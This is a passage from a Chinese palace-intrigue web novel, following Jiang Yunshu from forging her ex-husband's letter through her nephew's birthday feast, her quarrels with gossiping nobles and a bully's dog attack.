说着,姜云舒转回桌案前,“上次进沈清安书房密室时,我带出来一些宣纸,你去给我取来。” 也不能说是未卜先知,但那时,姜云舒是下意识地拿了沈清安的宣纸,就觉着,沈清安能模仿父亲的字,她便也能模仿沈清安的字,如今这不就用上了? 月禾不解,但是听话,紧忙将宣纸拿了过来铺好,随后在旁边研墨。 一会儿功夫,一封和沈清安同样,但信息略加修改的信便写好了,随即又在新的末尾盖上印章,这封信便模仿好了。 “小姐,你还有沈清安的印章?”月禾一脸震惊的瞪大眼睛。 “他能模仿我爹的印章,我又如何不能模仿他的。” 姜云舒眸中闪过一抹得意,随即依旧按照沈清安折叠信纸的方式,将信重新放回了鸽子腿上拴着的小信筒里。 月禾抱着鸽子往外走,临放飞前,意味深长的叮嘱一句,“你快去快回,我烧好热水等你回来。” 晨光微明,金乌从地平线缓缓升起,霞光洒满大地,便是初夏,清早的空气依旧带着丝丝缕缕的凉意。 姜云舒比往常起得更早一些,月禾和白芷进来时,她已经下了床。 “小姐可真真是对小公子疼爱极了,生辰礼亲自挑选也就罢了,竟还比往常起得早。”月禾进来便忍不住打趣。 三日后便是稚儿三岁的生辰礼,姜云舒这个亲姑姑,一早就在琢磨要送的礼物。 不只是三岁,就连出生,一岁,两岁的礼物也要全都补上。 “那是自然。” 姜云舒坐在铜镜前,透过镜子看月禾,“稚儿可是我姜家的嫡长孙,如今祖父母和爹爹不在身边,我这个亲姑姑自然要给他多多的备下礼品。” “是是是,小姐疼爱小公子是理所应当!” 月禾应声,手执姜云舒的一缕头发,干净利落的盘成了一个髻。 这日天气很好,阳光明媚,蓝天白云,一如姜云舒的心情。 要准备的里屋很多,除了繁荣街那几家常去的店,姜云舒还特意去别的街道找了老工匠定了货,左右是出门逛街,便一同去看看。 一路到了铁匠铺,刚好,姜云舒订做的剑也炼成了。 黑檀木剑鞘,包裹以上等蟒皮,边缘再以黄铜点缀,剑柄上还镶嵌着一块成色顶好的翠玉,剑未出鞘便让人眼前一亮。 “小姐,这真真和将军的青古剑一模一样。” 月禾一脸欣喜。 不愧是京城最好的铸剑师,便是细节都精致到极限,姜云舒细细看着,也是满意至极。 稚儿自在娘胎时就回了恭王府,至今未见过祖父,那便送他一柄和祖父同款的剑给他。 姜云舒抬手一拔,剑出鞘,寒光闪过眼前,亦是叫人眼前一亮。 倒不是多锋利,稚儿毕竟还小,姜云舒即便送他剑,也是要考虑安全,这剑锋并未开刃,但到底是好剑,只是剑光便仍人忍不住一声称赞。 越看越是满意,高高兴兴付了账,姜云舒拿着宝剑出了铁匠铺,刚拐角准备往回走,就见一帮孩子哄跑着往巷子里冲。 “让开!” 跑在前头的孩子叫喊着冲过来,冲到跟前时,险些撞到姜云舒身上。 月禾紧忙上前扶住姜云舒,皱着眉头朝前面喝一声。 “大街上跑什么跑,哪家孩子这般行举无状!” 刚说完,跑过去的孩子不知被什么绊了一下,身子趔趄着一下摔在了地上,后面几个追上来,便对着他一顿拳打脚踢。 姜云舒视线在几个孩子身上扫过,自他们衣着穿戴上来看,并不是普通人家的孩子。 “救,救命!” 被打的那孩子一边躲一边喊,眨眼的功夫,又到了姜云舒跟前。 “救救我,救我!” 那孩子抱着脑袋哭喊。 京城之中,天潢贵胄无处不在,姜云舒原也不想多管这闲事,可那帮孩子已经围了过来。 “你们是哪家的孩子,竟敢在大街上打人!” 月禾护着姜云舒,朝价格面色不善的孩子怒喝一声。 “庞少爷可是兵部侍郎府的二公子庞飞跃,我劝你们还是快快让开!” 人群中,一个孩子不屑的回了一句。 “兵部侍郎,庞正豪?” 姜云舒眼睛一眯,抬手将挨打的孩子拽到身后,“我倒要看看,你庞家究竟是什么皇权贵胄,能任由你在皇宫之外的大道上放肆!” 月禾看着众人,也忍不住勾起唇角吓唬他们。 “兵部侍郎又如何,当官的是你爹,又不是你,你若敢动我们县主一根毫毛,那便是袭击朝中官员,届时将你们带去京兆府,二十板子是最少的!” “县,县主?你是县主?”庞飞跃猛然抬头,看向姜云舒的视线一时间有些躲闪。 比起庞飞跃,此时被姜云舒拉在身边的孩子更是震惊。 他猛然间身子转到姜云舒对面,仰起头,看清楚她的脸,大喊一声。 “母亲!” 第168章 自此再无关系 听得这熟悉的一声,姜云舒下意识低头,这才看清楚,刚才挨揍的那孩子竟然是沈长元。 “啧,早知道是他,刚才赶紧走人了!”月禾忍不住嘟哝一句。 另外几个孩子还没没听到月禾说什么,只是听沈长元这一声母亲,刚才还没来得及合上的嘴巴,此时张得更大了。 “她是你母亲?” 庞飞跃拧着眉头,看看沈长元又看看姜云舒。 “是,她就是我母亲!” 沈长元紧忙躲回姜云舒身后,他不敢拽姜云舒的衣服,顺手抓住她手里的剑。 姜云舒扯了一下,沈长元拽得死死的,没拽回来,她微微蹙了蹙眉。 “你们为什么要打他?”她问。 庞飞跃的视线在姜云舒身上打量,刚才还被月禾的一句“县主”唬住,如今听沈长元叫她母亲,想来是被骗了,刚才那趾高气扬的模样又回来了。 “哼,打他又如何,崇文书院有明文规定,四品以上官员子嗣才有资格入院读书,沈长元他爹不过区区五品官员,他没有资格和我们坐在一处听学!” 哦,那就是没有原因,只是单纯的霸凌。 姜云舒眼皮动了动,话锋一转,“崇文书院也有规定,凡逃学超过三次被记录在册,便要暂停一个月的学业,你是叫庞飞跃对吧,你猜,我若将你这名字上报给周晗大人,你还有没有资格在崇文书院听学?” “你!你敢!” 听得“周晗”的名字,几个人脸上瞬间带了紧张,那可是崇文书院监理,管的就是他们的风纪。 若是以往,庞飞跃也不是能被轻易唬住的,但看到姜云舒手上还拿着剑,满腔的嚣张就被压了下去。 庞飞跃瞪着眼睛朝沈长元警告,“这次算你走运,你等着下次的!” 说完,转身往回走,剩下的几个根本更是不敢耽搁,紧忙跟了上去。 等众人离开,姜云舒低头看沈长元一眼,用力抽回了剑。 “母亲!” 沈长元赶紧喊一声,见姜云舒停住脚步,正要高兴,却听姜云舒脸面低沉的开了口。 “你的生母是高芝兰,而我,如今与你沈家没有任何关系,跟你也自然一样。” 姜云舒冷冷的甩下一句话,再不给沈长元开口的余地,转身离开。 沈长元呆愣在原地,半晌没缓过神来。 怎,怎么就没关系了? 就算不是亲生的,可她也养了自己两年,她说过的,自叫了她娘之后,便是母子。 祖母也说过了,即便不是她亲生的,在娘做正室夫人之前,她也是嫡母啊! 怎么就不能叫她母亲了? 他们大人怎么这么多事儿! 想着想着,沈长元已经以泪洗面,哭得比刚才挨揍时更惨。 三日后,稚儿生辰宴。 恭王府头一年在京城常驻,赶上稚儿的生辰宴,再加之世子妃有孕,这场宴会恭王府办得风风光光,除了沈家,京中官员多数都在邀请之列。 自己家孩子过生辰,姜云舒早早就到了,帮着恭王妃和闵青鸢忙着布置。 太阳升起,金色的光辉洒向大地时,宾客陆陆续续而来,一时间,平日里略显安静的恭王府顿时热闹起来。 姜云舒和闵青鸢在前厅招待客人,众人进门道喜,随着丫鬟往花园里去。 “要不说血脉至亲,你可不知道,稚儿拿着你给的礼物可是高兴坏了,就那把剑,走哪儿都得带着。”闵青鸢偷空跟姜云说话。 那青古剑是礼物之中单独的,今早过来时就给到了稚儿手上。 “咱们姜家的孩子,自小就喜欢刀枪,也是青鸢姐姐教得好,稚儿虽年幼却比一般孩子更勇猛懂事。”姜云舒眯起的眼睛里尽是笑容。 “他爹爹不在身边,我自然要更严厉些,总不能给姜家丢脸。” 说着,闵青鸢叹一口,“如今你也从沈家脱离出来,现下是个什么想法?” 那天沈家的擢升宴,姜云舒早跟她说有一场好戏,原本以为姜云舒将休夫圣旨掏出来就已经是高潮部分了,谁曾想,真正的高潮是在进宫之后。 除了裴钰和谢无烬,宫里那两位最得宠的皇子也在皇上跟前求赐婚,一时间,别说是皇宫,整个京城都传得沸沸扬扬。 虽说被人传闲话并不是什么好事,但到底还打了那些平日里说风凉话的人的脸。 说什么定国将军府如今倒台,姜云舒离了沈家不能活的人,现在可没有一个敢说话的,真真是出了一口恶气。 可除了出气,姜云舒的人生大事来的更重要些,皇城之中到底不比别处,关系错综复杂,而姜云舒也不是从前那个有父母兄长护着,可以只凭喜欢就选定人的时候。 “没什么想法,也没精力多想,爹娘和哥哥们尚在崖州,我如今只想全家团聚,至于其他,以后再说吧。”姜云舒拉过闵青鸢的手拍了拍。 说话的功夫,又一辆马车停在门口,车夫将脚凳拿过去,就见车帘掀开,里面走出两位衣着华丽的女子。 年长那位挽着当下皇室贵族妇人流行的瑶仙髻,身上穿的是绫罗绸缎,头上戴的是金钗玉环,手腕上那对织金龙凤镯更是高贵,正是庆王府的凌侧妃。 另一位身着鹅黄色丝绸轻衫,看起来十四五岁,五官灵动娇媚,和旁边的凌侧妃还有几分相像,这便是庆王府的三小姐,穆轻瑶。 “见过凌侧妃。” 姜云舒和闵青鸢上前行礼。 “快别多礼。” 凌侧妃微微抬手,看向闵青鸢,眉眼之间带着笑,“多年没见,如今再见面你还如当年少女那般模样。” “凌侧妃也是,岁月不败美人,气色又好,不知道的,还当您与三小姐是姐妹呢。”闵青鸢也客套。 两人相互捧着,随即凌侧妃的视线在姜云舒身上扫过,微微勾了勾唇角,却未说话,此时丫鬟过来带路,便跟着往里走。 穆轻瑶转身时,又朝姜云舒这边看一眼,与她母亲不同,穆轻瑶的眼神里明显带着不悦。 姜云舒捕捉到了一瞬间的眼神,蹙眉,却也并未放在心上。 说起来,她与庆王府常往来,是因为老太妃的缘故,至于庆王后宅,她也不过是点头之交,就如方才凌侧妃那般,至于穆轻瑶那个眼神,她的确没想明白。 正想着,就听门口再传来马车的声音,姜云舒扭头,还没见里面人下来,却也认出了马车。 正是渊政王府元太妃的马车。 第169章 你命更苦 “见过元太妃。”闵青鸢紧忙迎了上去。 姜云舒顿了一下,也跟着上前迎接。 车帘掀开,元太妃视线往外面扫过,最后落在闵青鸢身上。 “你便是闵家那小女儿?” 虽说元太妃从未出过京城,但闵家在外,便是恭王回京述职,闵青鸢也几乎没有与渊政王府有过交集,至于和凌侧妃认识,也是因为凌侧妃娘家与恭王妃娘家是远亲。 “是,之前回京尚未来得及探望元太妃,还望您见谅。”闵青鸢说着恭维话。 元太妃视线在闵青鸢身上打量,中途朝姜云舒瞄了一眼,又看闵青鸢。 “你也是个命苦的,好在娘家疼你,倒也有依靠。” 这话说得阴阳怪气,一边说着,还朝旁边的姜云舒瞟,那意思,定国将军府就是个火坑,闵青鸢嫁到姜家是命苦。 姜云舒袖下捏起拳,提醒自己,这是稚儿的生辰宴,不过一两句闲言碎语,没什么忍不了。 然而,她忍着,闵青鸢却没打算忍。 “多谢元太妃疼爱,不过,我在娘家有父母疼爱,兄嫂关切,夫家虽不在跟前,但早晚也能团聚,日子有盼头,何来命苦一说呢。” 她说话时,咬重“有盼头”三个字。 姜家虽然流放,但如今崖州那边边防短缺,朝中不少大臣建议重启姜家,的确是有盼头,元太妃就不一样了,儿子为了远离她,搬去了封地,十多年愣是没回来过,她一个孤身老太太留在京城,那才是真命苦。 她言语轻柔,还带着笑,却听得元太妃的脸色一下子掉了下来。 “你觉着好就好!” 元太妃没好气回了一句,扶着丫鬟的手往里走,讲过姜云舒跟前时,不轻不重的“哼”了一声。 姜云舒不以为意,迎着元太妃的视线,给了她一个笑容。 元太妃的脸更难看了。 等人离开,闵青鸢伸手去拉姜云舒的手。 “以前你孤身一人,是要处处谨慎小心,如今我也在,你大可不必忍着。” 闵青鸢朝元太妃的方向看一眼,眉心再次蹙起,“虽说那谢世子也不知为何对你念念不忘,可渊政王府不简单,你可要想好了。” 顽固不化的太妃,离家出走的儿子,还有和离令嫁的王妃,这一家子没一个正常的,便是谢无烬,单凭那远播在外的名声,也不是什么简单的角色。 “我没事,只是觉着有些人并不值得花费心思,至于谢无烬……”姜云舒抿了抿唇,“谁知道呢。” 两人一边说着往回走,此时太阳升高,天地之间都暖了起来。 就在两人进门时,高墙阴影之处,阳光落在谢无烬和那匹周身纯黑色的大马上,目送着两人进门,唇角微微勾起。 她说不知道,那便不是拒绝,没有拒绝,就是有的考虑。 吉时到,宴席开始。 恭王抱着稚儿到前庭花园,身边除了闵家人,还跟着一个容貌甜美,周身气质却透着一股飒气的女子。 自恭王府一家回京,宋时澜因为怀孕身子不适,从未出现在众人面前,于是,这位世子妃在众人口中,越传越神秘,此时,众人的视线一下子落在她身上。 随着恭王府众人到了主座,恭王抱着稚儿与众人打招呼。 客套话说完,拉着稚儿的手跟众人打招呼。 “哎哟,这小公子,小小年纪便仪表堂堂,长大后定然也是人中龙凤。” “小公子这双眼睛,和恭王可真是一模一样!” 众人恭维着,将带来的礼物送上来,此时,恭王又朝宋时澜招招手。 “宴席开始之前,本王还要向诸位介绍我恭王府的世子妃。” 话音落,闵司捷扶着宋时澜到跟前。 “时澜原是当年抗击东越名将宋乾山之女,当年宋将军一家为国捐躯,只留下这一个孩子,本王便做主,将她带回了恭王府,此时将时澜叫过来,一是借着稚儿的生辰宴,让诸位与我恭王府世子妃眼熟,二来,也是要宣布一件事……” 说着,恭王朝众人看去,“祖上保佑,时澜此时已有三个月身孕,这第一个孩子,不管是男是女,出生之后随外祖姓宋。” 一句话出口,在场众人面上均是一震。 就连宋时澜也满脸震惊地看向恭王,“父王,这不妥!” 长子长孙,尤其是在王公贵族之中,身份地位尤为重要,甚至,自打出生,便是按照继承人来培养。 如今恭王却当众宣布要让孩子姓宋,这感动带来的巨大冲击,一下子让宋时澜哭了出来。 “好了,不哭,父皇自然是考虑周全了才会当众宣布,我们的孩子,不管是姓闵还是姓宋,身上流着的都是两家的血。” 闵司捷抱着宋时澜的肩膀轻声安慰。 宋时澜点头,眼泪却止不住。 恭王从来不是一个高调的人,此时借着稚儿的生辰宴向众人介绍她,是让大家知道,她即便是一介孤女,却也是恭王府娇养长大,如今更是被长辈疼爱,丈夫守护的世子妃,不容人轻视。 而当众宣布肚子里的孩子随外祖姓,更是向她的承诺。 越想,宋时澜越是止不住眼泪。 众人怔愣瞬间,随后反应过来,纷纷称赞恭王大义。 越是皇权贵胄,子女的婚事向来更多考虑的是两家结合的利益,闵世子娶的是没有娘家的孤女,甚至,嫡长孙还要随外祖姓,在场众人扪心自问,他们可做不到这一点。 众人称赞恭维时,姜云舒歪着头看向闵司捷夫妇,一个在哭,一个在一边哄一边给擦眼泪,不得不说,她竟有些羡慕。 得一人心,白首不相离,其实很简单,却又难如登天,她试过了,败得一塌糊涂。 回想之下,越发凄凉,在众人觥筹交错中,姜云舒起身去外面透透气。 大概是大人们的社交对于小孩子来说太过无聊,稚儿见姜云舒出来,也举着他那青古剑跟了出来。 “姑姑,练剑!”稚儿小小的人,举着剑在姜云舒跟前晃了晃。 姜云舒低头看着稚儿,心中又是一酸,蹲下身来,抓着他的小手教他定国将军府的剑法。 稚儿还是第一次拿真的剑,当即兴奋不已,一只手拿不动,便用两只手,学起来有模有样。 两人正练着,就听身后传来窃窃私语。 “一个通敌罪臣的后代,恭王竟然还大张旗鼓的给过生辰,真不怕给自家招来祸端。” 说是窃窃私语,可字字句句清晰,传进了姜云舒的耳朵里。 姜云舒扭头,就见说话的正是庆王府的三小姐,穆轻瑶。 此时与穆轻瑶坐在一起的还有渊政王府的元太妃。 第170章 打脸来的太快 “谁说不是呢!” 元太妃喝一口茶,也跟着附和,“虽说是血脉至亲,但到底也是外孙,恭王疼爱女儿无可厚非,但如今世子妃有孕在身,万一如当年定国将军府一般,这世子妃投靠谁去,可怜这孤女……” 话还没说完,元太妃和穆轻瑶只听得耳边传来“嗖”的一声,紧接着便是一声巨响在耳边炸开。 两人吓了一跳,僵硬着扭转脖子,就见一柄寒光闪烁的匕首句插在他们身后的凉亭柱子上。 刚才,那匕首可是贴着她们的脸穿过去的! 一阵后怕下来,两人霎时感觉到一股寒凉自脊背攀了上来,脸都白了。 “大喜的日子,你们刚才的一番话,是在诅咒谁呢?” 姜云舒迎着两人震惊的目光走过来,到跟前,抬手将那匕首拔出来,“啪”的一声拍在桌上。 两人吓得浑身一颤,好半晌,元太妃抬起头来,眼中恐惧还没散,直朝姜云舒瞪眼。 “你,你这个混账,竟敢这样对我!” 此时,谢无烬也刚好出来找姜云舒,刚进花园就听得元太妃朝姜云舒瞪眼怒吼,当即脸色一沉,就要过来,却听姜云舒轻笑一声。 “我生性胆大,没什么不敢的。”她笑得百无禁忌,却生生让元太妃莫名生出了一股子凉意。 就这种让人心底生寒的笑,自谢无烬回来,她时常看到。 “姜云舒,元太妃可是谢世子的亲祖母!”穆轻瑶忍不住插一句。 姜云舒微微偏了偏头,看她,“那又如何?” “你!” 穆轻瑶被问得一噎,“我听说了,谢世子是对你有意的,你想嫁入渊政王府,怎么敢对长辈无礼?” 这话,听得姜云舒略有些无语。 “谁说我要嫁入渊政王府?若是没记错,渊政王常年在淮南,并不在京城。” 就算以后与渊政王府有任何牵连,那也是与淮南的渊政王关联,而不是在京城独守空壳的元太妃。 穆轻瑶被姜云舒几句话噎得瞪着眼睛却说不出来话,半晌,才开口。 “总之,元太妃是长辈,你怎能跟长辈动刀?万一太妃有什么闪失,你就不怕谢世子唯你是问?” 说这话时,她眼睛里闪烁着,她大概以为自己说得深明大义,然而听进姜云舒耳朵里,却十分滑稽。 她盯着穆轻瑶看了一会儿,似是想明白什么,恍然,“三小姐这么操心渊政王府的事,该不会喜欢的人是谢世子吧?我听说上次元太妃举办普渡斋,你也在宴会上呢,怎么,元太妃选中你了?” 几句话,说得穆轻瑶的脸“腾”的一下就红了,她说也说不过,跺着脚怒吼。 “姜云舒,你在胡说什么!” “那你如今又在急什么?” 姜云舒歪着头看她,逐渐收敛了笑意,“我不认为我和你之间有什么恩怨,但是你对我有很明显的敌意,若不是因为谢世子,那便是去年,你和你嫡姐同时被蜂群蜇伤,我将唯一的那盒凝脂膏给了你嫡姐,没有给你?” “你!” 穆轻瑶嘴唇一抿,闪烁的眼神遮挡不住被说戳中的心虚。 姜云舒见她这反应便知道,她又说对了,不由得深深吸一口气。 “凝脂膏里其中一味药材是冰心虫,与你之前服用的天肌丸相冲,凝脂膏对你非但没有用,还会让你脸上的伤落下永久疤痕,你若不信,自可去问问常为你看诊的太医。” 到底是在京城开药铺的,姜云舒还是解释一句。 穆轻瑶眸光一闪,看姜云舒一眼又蹙眉,此时心里的纠结都表现在了脸上。 姜云舒也没想得到她的一句道歉或者认错,只提醒道:“这一次,我当你年幼无知原谅你,下次,你若再让我听到诋毁我姜家的话从你嘴里说出来……” 她往前一步,凑近穆轻瑶,声音带着一股压迫,“你尽管试试看!” 也不知道是理亏心虚还是被姜云舒的气势压住,穆轻瑶站在原地愣住,尚未说出一句话话,却听元太妃忍不住冷哼一声。 “姜家可真是好教养,竟敢在我面前仗势欺人了!”说着,元太妃将杯盏往桌上一顿。 她用了些力气,杯里的茶水直接溅了出来。 然而,这表现于外的怒意,对于姜云舒来说,并没有什么震慑力。 “元太妃说笑了,你明知我姜家出了什么事,我如今又能仗谁的势呢?” 说着,姜云舒将放在桌上的匕首拿起来把玩,声音也多了几分阴阳,“倒是您,作为宾客在宴会上嚼舌主家,说您为老不尊显得我不懂事,但是,还请您自重!” “你!” 元太妃气得直接站起来,伸手指着姜云舒,哆嗦了半晌才开口。 “你定国将军府做出那等让祖宗蒙羞之事,还不让人说了?好不容易留下个孩子,好好养着就是了,这样招摇,最后乐极生悲也是自找的!” 话音刚落,就听得院外传来扯着嗓子的一声通报。 “三宝公公到——” 三宝公公,虽说年纪不大,那可是皇上跟前大太监明德公公的干儿子,如今也是皇上跟前的脸的人物! 众人听到这个名字,纷纷向外看,面上表情各异。 元太妃怔愣瞬间,扭头朝姜云舒“哼”了一声,那意思,看吧,说乐极生悲这就来了。 然而,元太妃脸上的得意没扬起来,就见几个小太监抬着东西紧跟着三宝公公进了院子。 “良辰吉日,麟儿生辰,皇上亲赐麒麟长命锁一件,佛经百子衣一件……” 长长的礼单,三宝公公一口气念完,众人脸上震惊又震惊。 别的不说,那麒麟长命锁可是皇室亲王府上嫡长孙才有的,还有那佛经百子衣上的经文,是长明大师亲手所抄,便是这些郡王世子都没有。 皇上专门派了三宝公公过来赏赐,不管是看在这孩子是姜家人还是看在恭王的面子上,这番赏赐,都让众人心里那点小嘀咕彻底压了下去。 这边恭王携闵家众人谢恩,姜云舒侧目看向元太妃。 “乐极生悲是没有的,怕是要让您失望了!” 看见没,皇上亲自赏赐的,我们稚儿有的,你们渊政王府的孩子都没有。 元太妃瞪大眼睛,似乎还没从震惊之中回过神来,脸上的表情变了又变,随后趔趄一下,坐回了凳子上。 姜云舒挑着眉梢,欣赏够了元太妃那惨白尴尬的脸色,转身离开。 花园拐角处,谢无烬的视线一直跟着姜云舒,见她对元太妃那个得意的挑衅,半眯着的眼中漾开笑意。 这才是他认识的姜小幺! 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第171章 你爱慕我 此时稚儿得了奖励,随着恭王和闵青鸢谢恩后,又举着那把心爱的青古剑过来找姜云舒。 随着他一起过来的还有太守府的庄心悦。 “姑姑!” 见到姜云舒,稚儿举着剑兴奋的奔过来,庄心悦在后面跟着,到跟前没好气地朝姜云舒翻了个白眼。 “姜云舒,你有没有点分寸,这么小的孩子你竟然给他用锻造的剑,你就不担心万一跑摔了会伤了他自己?” 姜云舒伸手接住奔过来的稚儿,扭头不紧不慢的回一句。 “和你这种娇养在深闺了的大小姐不同,我们姜家的孩子三岁就要拿剑,即便我大哥不在身边,青鸢姐姐也会好好教养,不曾懈怠。” “哼,果然自立门户就是不同!” 庄心悦撇了撇嘴,依旧没好气,“说到你,你既然早有圣旨,何苦那么久才拿出来,你就这么喜欢沈家的腥臭?” 姜云舒突如其来被庄心悦抢白一通,就感觉莫名其妙,扭头看她。 “这都是我的事儿,跟你有什么关系?难不成,你庄二小姐看上我了?” “姜云舒!” 庄心悦猛地一跺脚,气鼓鼓的瞪她,“你有病啊!谁看上你了!” 大概也是不经常跟姜云舒这样混的人理论,此时庄心悦气得脸都红了。 见她急眼,姜云舒忍不住笑出声,“你不是看上我了,那就是我碍了你的眼,让我猜一猜,你看上的是谁。” 说着,她抬手伸出四个手指头。 “三皇子先排除,你不喜欢他。” 庄心悦瞪她一眼,没说话。 姜云舒便继续道:“依照你的性子,你不喜欢年纪比你小的,这样一来,六皇子也不是。” 说着,她眸光一转,朝庄心悦眨眨眼睛,“听说元太妃普渡斋设宴,你也在,该不会是谢世子吧?” 这话说完,她恍然明白了什么。 “谢世子模样英俊,又是身负功勋的英雄,你喜欢也不奇怪!” “才不是!”庄心悦挺了挺胸膛,声音却弱了下去,“英雄又如何,屠一城百姓,就算身负功勋也是恶鬼!” “庄心悦,你慎言!” 姜云舒打断她,脸上笑意收敛,“不是就不是,你何苦这样说,他再心狠手辣,也是守护边境的战将,他在边境被长枪刺穿腰腹时,你还在宴席上言笑晏晏,你有什么资格这样说!” 庄心悦被说得眼神一缩,抿着嘴唇迟疑片刻,哼一声,“话不投机半句多!” 说完,气鼓鼓地转身就走,走时还拽上了稚儿。 姜云舒:“……” 莫名其妙! 分明是你自己过来找我说话,怎么好像被我欺负了一般! 还有,那是我家孩子,谁让你随便带走的! “真没想到,你竟会在别人面前帮我说话。” 声音自身后传来,姜云舒转身,就见谢无烬一脸含笑地站在她面前。 “你,你什么时候在这里的?” 姜云舒抬头看着他,随即又移开视线。 奇怪,分明没什么心虚的,却莫名不敢与他对视。 谢无烬见她这般反应,脸上笑意更甚,忍不住想逗她。 “就在你说我模样英俊,又是身负战功的英雄。”说着,他朝姜云舒身侧靠近几分,“原来,我在你心中的形象是这般光辉伟大呀。” “我心中光辉伟大的人只有我爹。”姜云舒忍不住翻了个白眼。 “我不管!” 谢无烬拦住她要离开的方向,挺了挺胸膛,“总之,你就是欣赏我,欣赏就是喜欢,喜欢就是爱慕,爱慕就是……唔!” 话还没说完,就被姜云舒一把捂住了嘴。 “你想多了!” 她一脸警告,然而,刚说完,就感觉到手心的触感,顿时脸一红,松开了手。 唇边触感消失,谢无烬下意识抬手抓住她的手,唇角勾起的笑容蛊惑。 “有些事情可以多想想。” 姜云舒抽了一下没抽回来,正要说话,就听远处传来一声惊叫。 是孩子的声音,被吓到后的惊叫。 姜云舒和谢无烬交换一个眼神,紧忙朝声音的方向奔过去,就在花园的南墙脚,看到一条大黑狗正往沈长元身上扑。 沈长元吓得在地上疯狂爬,旁边稚儿举着青古剑冲过来,看样子是要来救他。 “稚儿!” 姜云舒惊呼一声,上前将稚儿拉住,谢无烬抬起一脚踹在那黑狗的身上。 黑狗哀嚎一声,趔趄着摔在旁边,大概是别踹到的腿断了,一时间都没能站起来。 沈长元扭头看到姜云舒,连滚带爬到她身侧,浑身抖如筛糠。 姜云舒看他并没有被咬便不再理会,蹲下身将稚儿抱住,仔仔细细的检查了一遍,见他没受伤,这才松了一口气。 “你怎么会在这里?”姜云舒问沈长元。 今日稚儿生辰宴,恭王府可没有给沈清安下帖子,沈长元估计是偷偷进来的。 “我,我是被庞飞跃带进来的,他们让我钻狗洞,然后让我跟黑大王决斗,我,我好害怕!”说着,沈长元已经哭了出来。 姜云舒看他一眼又收回视线,看向稚儿。 “稚儿,这是怎么回事?你怎么会在这里?”她问。 刚才稚儿不是被庄心悦带回去了吗? “大狗狗,咬人,稚儿来救命!”稚儿一边说着,举起手中的青古剑。 沈长元抬头看着那剑,不由得顿了一下,似是想到什么,脸色比刚才被狗咬时还难看。 那日,他在街上挨打遇到姜云舒时,她手里拿着的就是这把剑,他问过了,这柄剑价值三百两银子,原来是给恭王府家这孩子的生辰礼。 心里的不平衡在飙升,沈长元咬着牙站起来,一脸委屈的看着姜云舒。 “为什么,为什么好的东西你都给他,我三岁生辰,你只送给我一本破书!”他哭得崩溃。 姜云舒抱着稚儿,侧目看他,皱起了眉头。 “便是一本书,那也是百年典籍,是我跟皇上求来的,而且……” 姜云舒平复了一下,声音更沉了几分,“我已经说过,我跟你沈家没有关系,跟你也不再有任何关系,之前我是你的养母,即便不是亲生,也从未薄待过你,你有什么资格质问我?稚儿是我姜家的孩子,我给他再多也不为过,你,没有跟他争抢的资格!” 这话说得很直白了,即便沈长元一个五岁的孩子,也应该能明白这恩断义绝的意思。 他呆愣在原地,张张嘴愣是没说出一句话。 就在这时,一声怒吼自身后传来。 “谁伤了我的狗!” 说话间,庞飞跃带着几个孩子怒气冲冲地奔了过来。 第172章 恶狗伤人 “谁,是谁伤了我的黑大王!” 庞飞跃抱着那大黑狗怒吼,抬头看清楚是姜云舒,一下子顿住。 “你,你不是沈长元的娘吗?这宴会上可没有邀请你们沈家!” 庞飞跃像是抓到了什么把柄,仰着头脸上带着得意。 姜云舒迎着他满脸的挑衅,哼笑出声。 “如今你是宾客,谁教你在主家放肆?而且,你既然知道宴会没有邀请沈家,那你偷偷将沈长元带进来,又是什么目的?” “你!” 庞飞跃顿住,眼珠子转了转,还没说话,却听姜云舒又开口。 “你的狗险些伤到主家的孩子,这件事,你爹得给恭王府一个交代!” 说着,姜云舒将怀里的稚儿抱起来。 庞飞跃不认识稚儿,却认得他那一身喜气洋洋的衣服,脸色瞬间一滞。 他只是将沈长元带进来教训一番,谁知道恭王府家这小子也在这里? “他这不是没事吗,但是我的黑大王受了伤,如今都站不起来了,你们应该给我的黑大王赔礼道歉!” 庞飞跃理不直气也壮。 姜云舒原本也并没想搭理他,如今这话一出口,却将她满腔莫名的怒火勾了起来。 “呵,你可真是什么话都敢说!” 姜云舒面色一沉,正要上前,却被谢无烬按住肩膀,紧接着人影闪过,庞飞跃已经被他拧着胳膊按在了地上。 “来,你接着狂!”谢无烬一脚踩在他脑袋上。 “你,你敢对我动手!” 庞飞跃的脸贴着地面,脸上的肉都被挤变形了。 也不知是地上的石子真把他硌疼了,还是当着几个跟班的面儿抹不开面子,他死不开口,反而朝那大黑狗喝一声。 “黑大王,给我咬,咬死他们!” 说着,他不知从哪里掏出一支狗哨,随着他抵在唇边吹了几下,那大黑狗还真像是被施了咒一般站了起来。 “呜呜呜……” 大黑狗喉咙里发出呼噜声,那凛然的野兽目光朝姜云舒的方向看过来,随后一个呜咽,便冲着稚儿去了。 姜云舒眸光一凛,抬手将稚儿推到一边,然而,她并没有躲,而是紧接着一个侧身将庞飞跃拽了过来。 “啊——” 凄厉的惨叫声自花园角落传开。 众人一激灵,待反应过来时,就见那大黑狗不知怎么竟咬在了庞飞跃的腿上。 庞飞跃又惊又疼,扯着退用力踢打,然而,越是踢打那黑狗咬得越紧,一块皮肉生生从腿上撕了下来。 姜云舒站在原地看着,见庞飞跃疼得几乎要昏死过去,这才朝谢无烬点了点头。 到底是在恭王府,总不能出了人命。 谢无烬会意,快步上前,也不管那狗嘴里是不是还咬着庞飞跃的皮肉,直接拽着那黑狗一甩生生将它扯开,紧接着一脚踢在那黑狗的心窝上。 黑狗被踢得腾空,随即“砰”的一声摔下来,再没了气息。 旁边几个孩子吓傻了,愣了好半晌才回过神来,大概是被吓坏了,也不管庞飞跃了,一哄而散。 沈长元也害怕,下意识往姜云舒跟前凑,一抬头却见姜云舒紧紧将稚儿抱在怀里,捂着他的眼睛不让看那险鲜血淋淋的场面,自始至终都没有看他一眼。 她说,没关系了,所以就不再管他了吗…… 巨大的落差感袭来,沈长元踉跄着退了两步,突然间嚎啕大哭。 “哭什么!” 姜云舒不耐烦地吼一声,“躲都不知道躲,还有脸哭!” 沈长元一噎,打了个嗝,真的不哭了。 以前,他们还是母子时,姜云舒让他练武时曾说,不要求他武功多高强,但要强身健体,最起码能保护自己。 可看看他现在,别说保护自己,就连被庞飞跃他们欺负,他都没有反抗的余地。 自己真是差劲,所以,姜云舒才不要自己的吧! 想到这里,沈长元紧抿着纯,咬牙憋住。 然而,姜云舒并没有余力关注他,此时,众人听到这边的动静,紧忙奔了过来。 “飞跃!” 兵部侍郎庞正豪急匆匆赶到,一眼瞧见还在地上打滚的庞飞跃,脸色瞬间沉到了底。 